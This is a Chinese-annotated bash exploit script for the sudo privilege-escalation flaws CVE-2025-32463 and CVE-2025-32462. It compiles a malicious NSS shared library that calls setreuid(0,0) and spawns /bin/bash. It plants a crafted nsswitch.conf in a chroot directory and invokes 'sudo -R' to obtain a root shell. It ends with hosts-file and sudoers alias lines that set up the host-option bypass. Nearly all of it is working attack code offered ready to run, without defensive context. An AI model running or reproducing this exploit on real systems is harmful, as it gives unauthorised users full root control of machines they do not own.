CVE-2025-32463 and CVE-2025-32462 sudo提权漏洞

#!/bin/bash

echo "[+] CVE-2025-32463 Sudo chroot 漏洞复现脚本"

echo "[*] 正在创建临时工作目录..."
STAGE=$(mktemp -d /tmp/sudo_exploit.XXXXXX)
if [ ! -d "$STAGE" ]; then
    echo "[-] 错误: 无法创建临时目录。"
    exit 1
fi
cd "${STAGE}" || exit 1
echo "[*] 工作目录已创建: ${STAGE}"

echo "[*] 正在创建 C 语言 payload (woot1337.c)..."
cat > woot1337.c << EOF
#include <unistd.h>
#include <stdlib.h>

// __attribute__((constructor)) 确保 woot() 函数在库加载时自动执行
__attribute__((constructor))
void woot(void) {
    // 将真实用户ID和有效用户ID都设置为0 (root)
    setreuid(0, 0);
    // 将真实组ID和有效组ID都设置为0 (root)
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}
EOF

# 创建 chroot 环境和nsswitch.conf
echo "[*] 正在设置 chroot 环境和恶意的 nsswitch.conf..."
mkdir -p woot/etc

# 核心
echo "passwd: /woot1337" > woot/etc/nsswitch.conf

echo "[*] 正在将 payload 编译为共享库 (libnss_/woot1337.so.2)..."
mkdir -p libnss_
gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c

if [ ! -f "libnss_/woot1337.so.2" ]; then
    echo "[-] 错误: 编译失败。请确保已安装 gcc。"
    rm -rf "${STAGE}"
    exit 1
fi

echo "[*] 编译成功！"
echo "[+] root shell!!!!!"
echo "woot!"

sudo -R woot woot

echo "[*] 正在清理临时文件..."
rm -rf "${STAGE}"

127.0.0.1   prod.test.local
127.0.0.1   dev.test.local
127.0.0.1   ci.test.local

Host_Alias      PROD = prod.test.local
Host_Alias      DEVS = dev.test.local
neko         DEVS, !PROD = ALL
neko         ci.test.local = ALL